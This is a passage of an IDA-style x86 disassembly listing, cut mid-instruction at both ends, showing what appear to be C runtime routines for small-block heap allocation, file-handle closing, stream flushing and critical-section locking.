cl, [edi+eax+4] mov byte ptr [ebp+arg_8+3], cl inc cl cmp edi, 20h mov [edi+eax+4], cl jnb short loc_41A89D cmp byte ptr [ebp+arg_8+3], 0 jnz short loc_41A895 mov ecx, edi mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+arg_0] or [ecx], ebx loc_41A895: ; CODE XREF: sub_41A74F+136j lea eax, [eax+edx*4+44h] mov ecx, edi jmp short loc_41A8BD ; --------------------------------------------------------------------------- loc_41A89D: ; CODE XREF: sub_41A74F+130j cmp byte ptr [ebp+arg_8+3], 0 jnz short loc_41A8B3 lea ecx, [edi-20h] mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+arg_0] or [ecx+4], ebx loc_41A8B3: ; CODE XREF: sub_41A74F+152j lea eax, [eax+edx*4+0C4h] lea ecx, [edi-20h] loc_41A8BD: ; CODE XREF: sub_41A74F+14Cj mov edx, 80000000h shr edx, cl or [eax], edx loc_41A8C6: ; CODE XREF: sub_41A74F+11Ej mov edx, [ebp+arg_4] mov ecx, [ebp+var_4] lea eax, [edx+esi-4] mov [eax], ecx mov [ecx+eax-4], ecx jmp short loc_41A8DB ; --------------------------------------------------------------------------- loc_41A8D8: ; CODE XREF: sub_41A74F+DEj mov edx, [ebp+arg_4] loc_41A8DB: ; CODE XREF: sub_41A74F+187j lea eax, [esi+1] mov [edx-4], eax mov [edx+esi-8], eax jmp loc_41AA26 ; --------------------------------------------------------------------------- loc_41A8EA: ; CODE XREF: sub_41A74F+50j ; sub_41A74F+5Aj xor eax, eax jmp loc_41AA29 ; --------------------------------------------------------------------------- loc_41A8F1: ; CODE XREF: sub_41A74F+47j jge loc_41AA26 mov ebx, [ebp+arg_4] sub [ebp+arg_8], esi lea ecx, [esi+1] mov [ebx-4], ecx lea ebx, [ebx+esi-4] mov esi, [ebp+arg_8] sar esi, 4 dec esi cmp esi, 3Fh mov [ebp+arg_4], ebx mov [ebx-4], ecx jbe short loc_41A91C push 3Fh pop esi loc_41A91C: ; CODE XREF: sub_41A74F+1C8j test byte ptr [ebp+var_4], 1 jnz loc_41A9A6 mov esi, [ebp+var_4] sar esi, 4 dec esi cmp esi, 3Fh jbe short loc_41A935 push 3Fh pop esi loc_41A935: ; CODE XREF: sub_41A74F+1E1j mov ecx, [edi+4] cmp ecx, [edi+8] jnz short loc_41A97F cmp esi, 20h mov ebx, 80000000h jnb short loc_41A960 mov ecx, esi shr ebx, cl lea esi, [esi+eax+4] not ebx and [eax+edx*4+44h], ebx dec byte ptr [esi] jnz short loc_41A97C mov ecx, [ebp+arg_0] and [ecx], ebx jmp short loc_41A97C ; --------------------------------------------------------------------------- loc_41A960: ; CODE XREF: sub_41A74F+1F6j lea ecx, [esi-20h] shr ebx, cl lea ecx, [esi+eax+4] not ebx and [eax+edx*4+0C4h], ebx dec byte ptr [ecx] jnz short loc_41A97C mov ecx, [ebp+arg_0] and [ecx+4], ebx loc_41A97C: ; CODE XREF: sub_41A74F+208j ; sub_41A74F+20Fj ... mov ebx, [ebp+arg_4] loc_41A97F: ; CODE XREF: sub_41A74F+1ECj mov ecx, [edi+8] mov esi, [edi+4] mov [ecx+4], esi mov esi, [edi+8] mov ecx, [edi+4] mov [ecx+8], esi mov esi, [ebp+arg_8] add esi, [ebp+var_4] mov [ebp+arg_8], esi sar esi, 4 dec esi cmp esi, 3Fh jbe short loc_41A9A6 push 3Fh pop esi loc_41A9A6: ; CODE XREF: sub_41A74F+1D1j ; sub_41A74F+252j mov ecx, [ebp+var_C] lea ecx, [ecx+esi*8] mov edi, [ecx+4] mov [ebx+8], ecx mov [ebx+4], edi mov [ecx+4], ebx mov ecx, [ebx+4] mov [ecx+8], ebx mov ecx, [ebx+4] cmp ecx, [ebx+8] jnz short loc_41AA1D mov cl, [esi+eax+4] mov byte ptr [ebp+arg_4+3], cl inc cl cmp esi, 20h mov [esi+eax+4], cl jnb short loc_41A9F4 cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_41A9EC mov ecx, esi mov edi, 80000000h shr edi, cl mov ecx, [ebp+arg_0] or [ecx], edi loc_41A9EC: ; CODE XREF: sub_41A74F+28Dj lea eax, [eax+edx*4+44h] mov ecx, esi jmp short loc_41AA14 ; --------------------------------------------------------------------------- loc_41A9F4: ; CODE XREF: sub_41A74F+287j cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_41AA0A lea ecx, [esi-20h] mov edi, 80000000h shr edi, cl mov ecx, [ebp+arg_0] or [ecx+4], edi loc_41AA0A: ; CODE XREF: sub_41A74F+2A9j lea eax, [eax+edx*4+0C4h] lea ecx, [esi-20h] loc_41AA14: ; CODE XREF: sub_41A74F+2A3j mov edx, 80000000h shr edx, cl or [eax], edx loc_41AA1D: ; CODE XREF: sub_41A74F+275j mov eax, [ebp+arg_8] mov [ebx], eax mov [eax+ebx-4], eax loc_41AA26: ; CODE XREF: sub_41A74F+196j ; sub_41A74F:loc_41A8F1j xor eax, eax inc eax loc_41AA29: ; CODE XREF: sub_41A74F+19Dj pop edi pop esi pop ebx leave retn sub_41A74F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41AA2E proc near ; CODE XREF: sub_416D78+2Dp ; sub_417003+89p ... var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h mov ecx, [ebp+arg_0] mov eax, dword_482968 mov edx, dword_48296C add ecx, 17h and ecx, 0FFFFFFF0h push ebx mov [ebp+var_10], ecx sar ecx, 4 push esi lea eax, [eax+eax*4] push edi dec ecx cmp ecx, 20h lea edi, [edx+eax*4] mov [ebp+var_4], edi jge short loc_41AA6B or esi, 0FFFFFFFFh shr esi, cl or [ebp+var_8], 0FFFFFFFFh jmp short loc_41AA78 ; --------------------------------------------------------------------------- loc_41AA6B: ; CODE XREF: sub_41AA2E+30j add ecx, 0FFFFFFE0h or eax, 0FFFFFFFFh xor esi, esi shr eax, cl mov [ebp+var_8], eax loc_41AA78: ; CODE XREF: sub_41AA2E+3Bj mov eax, dword_482974 mov ebx, eax mov [ebp+var_C], esi cmp ebx, edi jmp short loc_41AA9A ; --------------------------------------------------------------------------- loc_41AA86: ; CODE XREF: sub_41AA2E+6Fj mov ecx, [ebx+4] mov edi, [ebx] and ecx, [ebp+var_8] and edi, esi or ecx, edi jnz short loc_41AA9F add ebx, 14h cmp ebx, [ebp+var_4] loc_41AA9A: ; CODE XREF: sub_41AA2E+56j mov [ebp+arg_0], ebx jb short loc_41AA86 loc_41AA9F: ; CODE XREF: sub_41AA2E+64j cmp ebx, [ebp+var_4] jnz short loc_41AAC8 mov ebx, edx jmp short loc_41AAB9 ; --------------------------------------------------------------------------- loc_41AAA8: ; CODE XREF: sub_41AA2E+90j mov ecx, [ebx+4] mov edi, [ebx] and ecx, [ebp+var_8] and edi, esi or ecx, edi jnz short loc_41AAC0 add ebx, 14h loc_41AAB9: ; CODE XREF: sub_41AA2E+78j cmp ebx, eax mov [ebp+arg_0], ebx jb short loc_41AAA8 loc_41AAC0: ; CODE XREF: sub_41AA2E+86j cmp ebx, eax jz loc_41AB5C loc_41AAC8: ; CODE XREF: sub_41AA2E+74j ; sub_41AA2E+170j mov dword_482974, ebx mov eax, [ebx+10h] mov edx, [eax] cmp edx, 0FFFFFFFFh mov [ebp+var_4], edx jz short loc_41AAEF mov ecx, [eax+edx*4+0C4h] mov edi, [eax+edx*4+44h] and ecx, [ebp+var_8] and edi, esi or ecx, edi jnz short loc_41AB25 loc_41AAEF: ; CODE XREF: sub_41AA2E+ABj mov edx, [eax+0C4h] and edx, [ebp+var_8] and [ebp+var_4], 0 lea ecx, [eax+44h] mov esi, [ecx] and esi, [ebp+var_C] or edx, esi mov esi, [ebp+var_C] jnz short loc_41AB22 loc_41AB0B: ; CODE XREF: sub_41AA2E+F2j mov edx, [ecx+84h] and edx, [ebp+var_8] inc [ebp+var_4] add ecx, 4 mov edi, [ecx] and edi, esi or edx, edi jz short loc_41AB0B loc_41AB22: ; CODE XREF: sub_41AA2E+DBj mov edx, [ebp+var_4] loc_41AB25: ; CODE XREF: sub_41AA2E+BFj mov ecx, edx imul ecx, 204h lea ecx, [ecx+eax+144h] mov [ebp+var_C], ecx mov ecx, [eax+edx*4+44h] xor edi, edi and ecx, esi jnz short loc_41ABAE mov ecx, [eax+edx*4+0C4h] and ecx, [ebp+var_8] push 20h pop edi jmp short loc_41ABAE ; --------------------------------------------------------------------------- loc_41AB50: ; CODE XREF: sub_41AA2E+131j cmp dword ptr [ebx+8], 0 jnz short loc_41AB61 add ebx, 14h mov [ebp+arg_0], ebx loc_41AB5C: ; CODE XREF: sub_41AA2E+94j cmp ebx, [ebp+var_4] jb short loc_41AB50 loc_41AB61: ; CODE XREF: sub_41AA2E+126j cmp ebx, [ebp+var_4] jnz short loc_41AB8C mov ebx, edx jmp short loc_41AB73 ; --------------------------------------------------------------------------- loc_41AB6A: ; CODE XREF: sub_41AA2E+14Aj cmp dword ptr [ebx+8], 0 jnz short loc_41AB7A add ebx, 14h loc_41AB73: ; CODE XREF: sub_41AA2E+13Aj cmp ebx, eax mov [ebp+arg_0], ebx jb short loc_41AB6A loc_41AB7A: ; CODE XREF: sub_41AA2E+140j cmp ebx, eax jnz short loc_41AB8C call sub_41A592 mov ebx, eax test ebx, ebx mov [ebp+arg_0], ebx jz short loc_41ABA4 loc_41AB8C: ; CODE XREF: sub_41AA2E+136j ; sub_41AA2E+14Ej push ebx call sub_41A649 pop ecx mov ecx, [ebx+10h] mov [ecx], eax mov eax, [ebx+10h] cmp dword ptr [eax], 0FFFFFFFFh jnz loc_41AAC8 loc_41ABA4: ; CODE XREF: sub_41AA2E+15Cj xor eax, eax jmp loc_41AD25 ; --------------------------------------------------------------------------- loc_41ABAB: ; CODE XREF: sub_41AA2E+182j shl ecx, 1 inc edi loc_41ABAE: ; CODE XREF: sub_41AA2E+111j ; sub_41AA2E+120j test ecx, ecx jge short loc_41ABAB mov ecx, [ebp+var_C] mov edx, [ecx+edi*8+4] mov ecx, [edx] sub ecx, [ebp+var_10] mov esi, ecx sar esi, 4 dec esi cmp esi, 3Fh mov [ebp+var_8], ecx jle short loc_41ABCF push 3Fh pop esi loc_41ABCF: ; CODE XREF: sub_41AA2E+19Cj cmp esi, edi jz loc_41ACD8 mov ecx, [edx+4] cmp ecx, [edx+8] jnz short loc_41AC3B cmp edi, 20h mov ebx, 80000000h jge short loc_41AC0F mov ecx, edi shr ebx, cl mov ecx, [ebp+var_4] lea edi, [eax+edi+4] not ebx mov [ebp+var_14], ebx and ebx, [eax+ecx*4+44h] mov [eax+ecx*4+44h], ebx dec byte ptr [edi] jnz short loc_41AC38 mov ecx, [ebp+var_14] mov ebx, [ebp+arg_0] and [ebx], ecx jmp short loc_41AC3B ; --------------------------------------------------------------------------- loc_41AC0F: ; CODE XREF: sub_41AA2E+1B9j lea ecx, [edi-20h] shr ebx, cl mov ecx, [ebp+var_4] lea ecx, [eax+ecx*4+0C4h] lea edi, [eax+edi+4] not ebx and [ecx], ebx dec byte ptr [edi] mov [ebp+var_14], ebx jnz short loc_41AC38 mov ebx, [ebp+arg_0] mov ecx, [ebp+var_14] and [ebx+4], ecx jmp short loc_41AC3B ; --------------------------------------------------------------------------- loc_41AC38: ; CODE XREF: sub_41AA2E+1D5j ; sub_41AA2E+1FDj mov ebx, [ebp+arg_0] loc_41AC3B: ; CODE XREF: sub_41AA2E+1AFj ; sub_41AA2E+1DFj ... cmp [ebp+var_8], 0 mov ecx, [edx+8] mov edi, [edx+4] mov [ecx+4], edi mov ecx, [edx+4] mov edi, [edx+8] mov [ecx+8], edi jz loc_41ACE4 mov ecx, [ebp+var_C] lea ecx, [ecx+esi*8] mov edi, [ecx+4] mov [edx+8], ecx mov [edx+4], edi mov [ecx+4], edx mov ecx, [edx+4] mov [ecx+8], edx mov ecx, [edx+4] cmp ecx, [edx+8] jnz short loc_41ACD5 mov cl, [esi+eax+4] mov byte ptr [ebp+arg_0+3], cl inc cl cmp esi, 20h mov [esi+eax+4], cl jge short loc_41ACAC cmp byte ptr [ebp+arg_0+3], 0 jnz short loc_41AC9A mov edi, 80000000h mov ecx, esi shr edi, cl or [ebx], edi loc_41AC9A: ; CODE XREF: sub_41AA2E+25Fj mov ecx, esi mov edi, 80000000h shr edi, cl mov ecx, [ebp+var_4] or [eax+ecx*4+44h], edi jmp short loc_41ACD5 ; --------------------------------------------------------------------------- loc_41ACAC: ; CODE XREF: sub_41AA2E+259j cmp byte ptr [ebp+arg_0+3], 0 jnz short loc_41ACBF lea ecx, [esi-20h] mov edi, 80000000h shr edi, cl or [ebx+4], edi loc_41ACBF: ; CODE XREF: sub_41AA2E+282j mov ecx, [ebp+var_4] lea edi, [eax+ecx*4+0C4h] lea ecx, [esi-20h] mov esi, 80000000h shr esi, cl or [edi], esi loc_41ACD5: ; CODE XREF: sub_41AA2E+247j ; sub_41AA2E+27Cj mov ecx, [ebp+var_8] loc_41ACD8: ; CODE XREF: sub_41AA2E+1A3j test ecx, ecx jz short loc_41ACE7 mov [edx], ecx mov [ecx+edx-4], ecx jmp short loc_41ACE7 ; --------------------------------------------------------------------------- loc_41ACE4: ; CODE XREF: sub_41AA2E+223j mov ecx, [ebp+var_8] loc_41ACE7: ; CODE XREF: sub_41AA2E+2ACj ; sub_41AA2E+2B4j mov esi, [ebp+var_10] add edx, ecx lea ecx, [esi+1] mov [edx], ecx mov [edx+esi-4], ecx mov esi, [ebp+var_C] mov ecx, [esi] test ecx, ecx lea edi, [ecx+1] mov [esi], edi jnz short loc_41AD1D cmp ebx, dword_482964 jnz short loc_41AD1D mov ecx, [ebp+var_4] cmp ecx, dword_48297C jnz short loc_41AD1D and dword_482964, 0 loc_41AD1D: ; CODE XREF: sub_41AA2E+2D3j ; sub_41AA2E+2DBj ... mov ecx, [ebp+var_4] mov [eax], ecx lea eax, [edx+4] loc_41AD25: ; CODE XREF: sub_41AA2E+178j pop edi pop esi pop ebx leave retn sub_41AA2E endp ; --------------------------------------------------------------------------- align 4 ; [0000003B BYTES: COLLAPSED FUNCTION __SEH_prolog. PRESS KEYPAD "+" TO EXPAND] ; [00000011 BYTES: COLLAPSED FUNCTION __SEH_epilog. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_41AD78 proc near ; CODE XREF: sub_416DF3+1Fp ; sub_417003+150p ... arg_0 = dword ptr 4 mov eax, dword_481330 test eax, eax jz short loc_41AD90 push [esp+arg_0] call eax test eax, eax pop ecx jz short loc_41AD90 xor eax, eax inc eax retn ; --------------------------------------------------------------------------- loc_41AD90: ; CODE XREF: sub_41AD78+7j ; sub_41AD78+12j xor eax, eax retn sub_41AD78 endp ; =============== S U B R O U T I N E ======================================= sub_41AD93 proc near ; CODE XREF: sub_41AE16+4Cp ; sub_41F8F5+2DCp arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push edi push esi call sub_41F57B cmp eax, 0FFFFFFFFh pop ecx jz short loc_41ADE1 cmp esi, 1 jz short loc_41ADAF cmp esi, 2 jnz short loc_41ADC5 loc_41ADAF: ; CODE XREF: sub_41AD93+15j push 2 call sub_41F57B push 1 mov edi, eax call sub_41F57B cmp eax, edi pop ecx pop ecx jz short loc_41ADE1 loc_41ADC5: ; CODE XREF: sub_41AD93+1Aj push esi call sub_41F57B pop ecx push eax call dword_42202C ; CloseHandle test eax, eax jnz short loc_41ADE1 call dword_422008 ; RtlGetLastWin32Error mov edi, eax jmp short loc_41ADE3 ; --------------------------------------------------------------------------- loc_41ADE1: ; CODE XREF: sub_41AD93+10j ; sub_41AD93+30j ... xor edi, edi loc_41ADE3: ; CODE XREF: sub_41AD93+4Cj push esi call sub_41F4FC mov eax, esi sar eax, 5 mov eax, dword_481600[eax*4] and esi, 1Fh pop ecx lea ecx, [esi+esi*8] and byte ptr [eax+ecx*4+4], 0 test edi, edi jz short loc_41AE11 push edi call sub_41B9B7 pop ecx or eax, 0FFFFFFFFh jmp short loc_41AE13 ; --------------------------------------------------------------------------- loc_41AE11: ; CODE XREF: sub_41AD93+70j xor eax, eax loc_41AE13: ; CODE XREF: sub_41AD93+7Cj pop edi pop esi retn sub_41AD93 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41AE16 proc near ; CODE XREF: sub_416E31+20p var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 ; FUNCTION CHUNK AT 0041AE95 SIZE 0000001C BYTES push 0Ch push offset stru_42C0B0 call __SEH_prolog mov ebx, [ebp+arg_0] cmp ebx, dword_4815F0 jnb short loc_41AE95 mov eax, ebx sar eax, 5 lea edi, ds:481600h[eax*4] mov eax, ebx and eax, 1Fh lea esi, [eax+eax*8] shl esi, 2 mov eax, [edi] test byte ptr [eax+esi+4], 1 jz short loc_41AE95 push ebx call sub_41F5BC pop ecx and [ebp+ms_exc.disabled], 0 mov eax, [edi] test byte ptr [eax+esi+4], 1 jz short loc_41AE6D push ebx call sub_41AD93 pop ecx mov [ebp+var_1C], eax jmp short loc_41AE7C ; --------------------------------------------------------------------------- loc_41AE6D: ; CODE XREF: sub_41AE16+49j call sub_41B9A5 mov dword ptr [eax], 9 or [ebp+var_1C], 0FFFFFFFFh loc_41AE7C: ; CODE XREF: sub_41AE16+55j or [ebp+ms_exc.disabled], 0FFFFFFFFh call sub_41AE8D mov eax, [ebp+var_1C] jmp short loc_41AEAB sub_41AE16 endp ; =============== S U B R O U T I N E ======================================= sub_41AE8A proc near ; DATA XREF: .text:stru_42C0B0o mov ebx, [ebp+8] sub_41AE8A endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41AE8D proc near ; CODE XREF: sub_41AE16+6Ap push ebx call sub_41F62F pop ecx retn sub_41AE8D endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_41AE16 loc_41AE95: ; CODE XREF: sub_41AE16+15j ; sub_41AE16+35j call sub_41B9A5 mov dword ptr [eax], 9 call sub_41B9AE and dword ptr [eax], 0 or eax, 0FFFFFFFFh loc_41AEAB: ; CODE XREF: sub_41AE16+72j call __SEH_epilog retn ; END OF FUNCTION CHUNK FOR sub_41AE16 ; =============== S U B R O U T I N E ======================================= sub_41AEB1 proc near ; CODE XREF: sub_416E31+18p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi+0Ch] test al, 83h jz short loc_41AEDA test al, 8 jz short loc_41AEDA push dword ptr [esi+8] call sub_416D07 and word ptr [esi+0Ch], 0FBF7h xor eax, eax pop ecx mov [esi], eax mov [esi+8], eax mov [esi+4], eax loc_41AEDA: ; CODE XREF: sub_41AEB1+Aj ; sub_41AEB1+Ej pop esi retn sub_41AEB1 endp ; =============== S U B R O U T I N E ======================================= sub_41AEDC proc near ; CODE XREF: sub_416E31+10p ; sub_418558+38p ... arg_0 = dword ptr 4 push ebx push esi mov esi, [esp+8+arg_0] mov eax, [esi+0Ch] mov ecx, eax and cl, 3 xor ebx, ebx cmp cl, 2 jnz short loc_41AF2B test ax, 108h jz short loc_41AF2B mov eax, [esi+8] push edi mov edi, [esi] sub edi, eax test edi, edi jle short loc_41AF2A push edi push eax push dword ptr [esi+10h] call sub_41E47E add esp, 0Ch cmp eax, edi jnz short loc_41AF23 mov eax, [esi+0Ch] test al, al jns short loc_41AF2A and eax, 0FFFFFFFDh mov [esi+0Ch], eax jmp short loc_41AF2A ; --------------------------------------------------------------------------- loc_41AF23: ; CODE XREF: sub_41AEDC+36j or dword ptr [esi+0Ch], 20h or ebx, 0FFFFFFFFh loc_41AF2A: ; CODE XREF: sub_41AEDC+25j ; sub_41AEDC+3Dj ... pop edi loc_41AF2B: ; CODE XREF: sub_41AEDC+13j ; sub_41AEDC+19j mov eax, [esi+8] and dword ptr [esi+4], 0 mov [esi], eax pop esi mov eax, ebx pop ebx retn sub_41AEDC endp ; =============== S U B R O U T I N E ======================================= sub_41AF39 proc near ; CODE XREF: sub_41AF67+67p ; sub_41AF67+82p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push esi call sub_41AEDC test eax, eax pop ecx jz short loc_41AF4E or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_41AF4E: ; CODE XREF: sub_41AF39+Ej test byte ptr [esi+0Dh], 40h jz short loc_41AF63 push dword ptr [esi+10h] call sub_41F79E pop ecx neg eax sbb eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_41AF63: ; CODE XREF: sub_41AF39+19j xor eax, eax pop esi retn sub_41AF39 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41AF67 proc near ; CODE XREF: sub_41B03C+2p var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 ; FUNCTION CHUNK AT 0041B018 SIZE 0000001B BYTES push 14h push offset stru_42C0C0 call __SEH_prolog xor edi, edi mov [ebp+var_1C], edi mov [ebp+var_20], edi push 1 call sub_41A1D6 pop ecx mov [ebp+ms_exc.disabled], edi xor esi, esi loc_41AF88: ; CODE XREF: sub_41AF67+99j mov [ebp+var_24], esi cmp esi, dword_482960 jge loc_41B018 mov eax, dword_481940 mov eax, [eax+esi*4] cmp eax, edi jz short loc_41AFFF test byte ptr [eax+0Ch], 83h jz short loc_41AFFF push eax push esi call sub_41B131 pop ecx pop ecx xor edx, edx inc edx mov [ebp+ms_exc.disabled], edx mov eax, dword_481940 mov eax, [eax+esi*4] mov ecx, [eax+0Ch] test cl, 83h jz short loc_41AFF7 cmp [ebp+arg_0], edx jnz short loc_41AFDE push eax call sub_41AF39 pop ecx cmp eax, 0FFFFFFFFh jz short loc_41AFF7 inc [ebp+var_1C] jmp short loc_41AFF7 ; --------------------------------------------------------------------------- loc_41AFDE: ; CODE XREF: sub_41AF67+64j cmp [ebp+arg_0], edi jnz short loc_41AFF7 test cl, 2 jz short loc_41AFF7 push eax call sub_41AF39 pop ecx cmp eax, 0FFFFFFFFh jnz short loc_41AFF7 or [ebp+var_20], eax loc_41AFF7: ; CODE XREF: sub_41AF67+5Fj ; sub_41AF67+70j ... mov [ebp+ms_exc.disabled], edi call sub_41B007 loc_41AFFF: ; CODE XREF: sub_41AF67+3Aj ; sub_41AF67+40j inc esi jmp short loc_41AF88 sub_41AF67 endp ; =============== S U B R O U T I N E ======================================= sub_41B002 proc near ; DATA XREF: .text:0042C0D4o xor edi, edi mov esi, [ebp-24h] sub_41B002 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41B007 proc near ; CODE XREF: sub_41AF67+93p mov eax, dword_481940 push dword ptr [eax+esi*4] push esi call sub_41B183 pop ecx pop ecx retn sub_41B007 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_41AF67 loc_41B018: ; CODE XREF: sub_41AF67+2Aj or [ebp+ms_exc.disabled], 0FFFFFFFFh call sub_41B033 cmp [ebp+arg_0], 1 mov eax, [ebp+var_1C] jz short loc_41B02D mov eax, [ebp+var_20] loc_41B02D: ; CODE XREF: sub_41AF67+C1j call __SEH_epilog retn ; END OF FUNCTION CHUNK FOR sub_41AF67 ; =============== S U B R O U T I N E ======================================= sub_41B033 proc near ; CODE XREF: sub_41AF67+B5p ; DATA XREF: .text:stru_42C0C0o push 1 call sub_41A142 pop ecx retn sub_41B033 endp ; =============== S U B R O U T I N E ======================================= sub_41B03C proc near ; CODE XREF: sub_41B0EEp push 1 call sub_41AF67 pop ecx retn sub_41B03C endp ; =============== S U B R O U T I N E ======================================= sub_41B045 proc near ; DATA XREF: .text:0042E010o mov eax, dword_482960 test eax, eax push esi push 14h pop esi jnz short loc_41B059 mov eax, 200h jmp short loc_41B05F ; --------------------------------------------------------------------------- loc_41B059: ; CODE XREF: sub_41B045+Bj cmp eax, esi jge short loc_41B064 mov eax, esi loc_41B05F: ; CODE XREF: sub_41B045+12j mov dword_482960, eax loc_41B064: ; CODE XREF: sub_41B045+16j push 4 push eax call sub_41E61E test eax, eax pop ecx pop ecx mov dword_481940, eax jnz short loc_41B095 push 4 push esi mov dword_482960, esi call sub_41E61E test eax, eax pop ecx pop ecx mov dword_481940, eax jnz short loc_41B095 push 1Ah pop eax pop esi retn ; --------------------------------------------------------------------------- loc_41B095: ; CODE XREF: sub_41B045+30j ; sub_41B045+49j xor edx, edx mov ecx, offset off_432658 jmp short loc_41B0A3 ; --------------------------------------------------------------------------- loc_41B09E: ; CODE XREF: sub_41B045+6Dj mov eax, dword_481940 loc_41B0A3: ; CODE XREF: sub_41B045+57j mov [edx+eax], ecx add ecx, 20h add edx, 4 cmp ecx, offset dword_4328D8 jl short loc_41B09E xor ecx, ecx mov edx, offset dword_432668 loc_41B0BB: ; CODE XREF: sub_41B045+A3j mov esi, ecx mov eax, ecx and eax, 1Fh sar esi, 5 mov esi, dword_481600[esi*4] lea eax, [eax+eax*8] mov eax, [esi+eax*4] cmp eax, 0FFFFFFFFh jz short loc_41B0DB test eax, eax jnz short loc_41B0DE loc_41B0DB: ; CODE XREF: sub_41B045+90j or dword ptr [edx], 0FFFFFFFFh loc_41B0DE: ; CODE XREF: sub_41B045+94j add edx, 20h inc ecx cmp edx, offset dword_4326C8 jl short loc_41B0BB xor eax, eax pop esi retn sub_41B045 endp ; =============== S U B R O U T I N E ======================================= sub_41B0EE proc near ; DATA XREF: .text:0042E028o ; FUNCTION CHUNK AT 0041F85A SIZE 00000092 BYTES call sub_41B03C cmp byte_4811BC, 0 jz short locret_41B101 jmp loc_41F85A ; --------------------------------------------------------------------------- locret_41B101: ; CODE XREF: sub_41B0EE+Cj retn sub_41B0EE endp ; =============== S U B R O U T I N E ======================================= sub_41B102 proc near ; CODE XREF: sub_416E7D+27p ; sub_416FB7+Fp ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov ecx, offset off_432658 cmp eax, ecx jb short loc_41B126 cmp eax, offset dword_4328B8 ja short loc_41B126 sub eax, ecx sar eax, 5 add eax, 10h push eax call sub_41A1D6 pop ecx retn ; --------------------------------------------------------------------------- loc_41B126: ; CODE XREF: sub_41B102+Bj ; sub_41B102+12j add eax, 20h push eax call dword_42201C ; RtlEnterCriticalSection retn sub_41B102 endp ; =============== S U B R O U T I N E ======================================= sub_41B131 proc near ; CODE XREF: sub_41AF67+44p ; sub_41BA2A+66p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] cmp eax, 14h jge short loc_41B145 add eax, 10h push eax call sub_41A1D6 pop ecx retn ; --------------------------------------------------------------------------- loc_41B145: ; CODE XREF: sub_41B131+7j mov eax, [esp+arg_4] add eax, 20h push eax call dword_42201C ; RtlEnterCriticalSection retn sub_41B131 endp ; =============== S U B R O U T I N E ======================================= sub_41B154 proc near ; CODE XREF: sub_416EC6+1p ; sub_416FF9+3p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov ecx, offset off_432658 cmp eax, ecx jb short loc_41B178 cmp eax, offset dword_4328B8 ja short loc_41B178 sub eax, ecx sar eax, 5 add eax, 10h push eax call sub_41A142 pop ecx retn ; --------------------------------------------------------------------------- loc_41B178: ; CODE XREF: sub_41B154+Bj ; sub_41B154+12j add eax, 20h push eax call dword_422018 ; RtlLeaveCriticalSection retn sub_41B154 endp ; =============== S U B R O U T I N E ======================================= sub_41B183 proc near ; CODE XREF: sub_41B007+9p ; sub_41BA2A+7Dp arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] cmp eax, 14h jge short loc_41B197 add eax, 10h push eax call sub_41A142 pop ecx retn ; --------------------------------------------------------------------------- loc_41B197: ; CODE XREF: sub_41B183+7j mov eax, [esp+arg_4] add eax, 20h push eax call dword_422018 ; RtlLeaveCriticalSection retn sub_41B183 endp ; =============== S U B R O U T I N E ======================================= sub_41B1A6 proc near ; CODE XREF: sub_416ECE+AAp ; sub_4181E7+44p ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi+0Ch] test al, 83h jz loc_41B282 test al, 40h jnz loc_41B282 test al, 2 jz short loc_41B1CD or eax, 20h mov [esi+0Ch], eax jmp loc_41B282 ; --------------------------------------------------------------------------- loc_41B1CD: ; CODE XREF: sub_41B1A6+1Aj or eax, 1 test ax, 10Ch mov [esi+0Ch], eax jnz short loc_41B1E2 push esi call sub_41E529 pop ecx jmp short loc_41B1E7 ; --------------------------------------------------------------------------- loc_41B1E2: ; CODE XREF: sub_41B1A6+31j mov eax, [esi+8] mov [esi], eax loc_41B1E7: ; CODE XREF: sub_41B1A6+3Aj push dword ptr [esi+18h] push dword ptr [esi+8] push dword ptr [esi+10h] call sub_41B454 add esp, 0Ch test eax, eax mov [esi+4], eax jz short loc_41B271 cmp eax, 0FFFFFFFFh jz short loc_41B271 mov edx, [esi+0Ch] test dl, 82h jnz short loc_41B246 mov ecx, [esi+10h] cmp ecx, 0FFFFFFFFh push edi jz short loc_41B22C mov edi, ecx sar edi, 5 mov edi, dword_481600[edi*4] and ecx, 1Fh lea ecx, [ecx+ecx*8] lea edi, [edi+ecx*4] jmp short loc_41B231 ; --------------------------------------------------------------------------- loc_41B22C: ; CODE XREF: sub_41B1A6+6Dj mov edi, offset dword_432C90 loc_41B231: ; CODE XREF: sub_41B1A6+84j mov cl, [edi+4] and cl, 82h cmp cl, 82h pop edi jnz short loc_41B246 or edx, 2000h mov [esi+0Ch], edx loc_41B246: ; CODE XREF: sub_41B1A6+64j ; sub_41B1A6+95j cmp dword ptr [esi+18h], 200h jnz short loc_41B263 mov ecx, [esi+0Ch] test cl, 8 jz short loc_41B263 test ch, 4 jnz short 